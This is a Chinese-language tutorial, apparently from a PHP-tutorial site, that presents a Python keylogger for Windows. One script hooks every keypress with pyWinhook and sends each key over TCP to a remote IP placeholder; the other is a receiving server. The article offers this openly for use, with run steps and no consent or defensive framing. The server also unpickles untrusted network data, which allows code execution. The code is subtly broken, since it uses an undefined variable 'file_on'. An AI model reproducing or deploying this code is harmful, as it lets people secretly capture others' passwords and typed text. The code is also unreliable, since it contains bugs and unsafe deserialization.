Python之监听键盘的解决办法
内容摘要
这篇文章主要为大家详细介绍了Python之监听键盘的简单示例,具有一定的参考价值,可以用来参考一下。
文章正文
这篇文章主要为大家详细介绍了Python之监听键盘的简单示例,具有一定的参考价值,可以用来参考一下。
python实现监听键盘,供大家参考,具体内容如下实现服务端
代码如下:
import pickle
from io import BytesIO
import socket
#接收数据
def Server_Recive(ip,port):
socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket_obj.bind((ip,port))
socket_obj.listen(5)
file = 1
while True:
connection,address = socket_obj.accept()
#接受的数据
recieved_message = b''
recieved_message_fragment = connection.recv(1024)
while recieved_message_fragment:
recieved_message += recieved_message_fragment
recieved_message_fragment = connection.recv(1024)
try:
obj = pickle.loads(recieved_message)
print(obj['Key'],end=' ')
except EOFError:
file_name = 'recv_image_' + str(file_on) + '.bmp'
recv_image = open(file_name,'wb')
recv_image.write(recieved_message)
file_on += 1
connection.close()
if __name__ == '__main__':
Server_IP = '0.0.0.0'
Server_Port = 6666
Server_Recive(Server_IP,Server_Port)
python实现监听键盘
键盘监听程序
代码如下:
#键盘监听
import pythoncom,pyWinhook,pickle,socket
from io import BytesIO
def Client_PIC(ip,port,obj):
try:
msg = pickle.dumps(obj)
send_message = BytesIO(msg)
send_message_fragment = send_message.read(1024)
except:
send_message = obj
send_message_fragment = send_message.read(1024)
socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket_obj.connect((ip,port))
while send_message_fragment:
socket_obj.send(send_message_fragment)
send_message_fragment = send_message.read(1024)
socket_obj.close()
def OnkeyBoardEvent(event):
dict_key = {}
dict_key['MessageName'] = event.MessageName
dict_key['Key'] = event.Key
Client_PIC('你自己的ip地址',6666,dict_key)
return True
def Keylogger():
hm = pyWinhook.HookManager()
hm.KeyDown = OnkeyBoardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
if __name__ == '__main__':
Keylogger()
python实现监听键盘
其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述
运行(先运行服务端,而后运行监听程序)
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持php教程。
注:关于Python之监听键盘的简单示例的内容就先介绍到这里,更多相关文章的可以留意
代码注释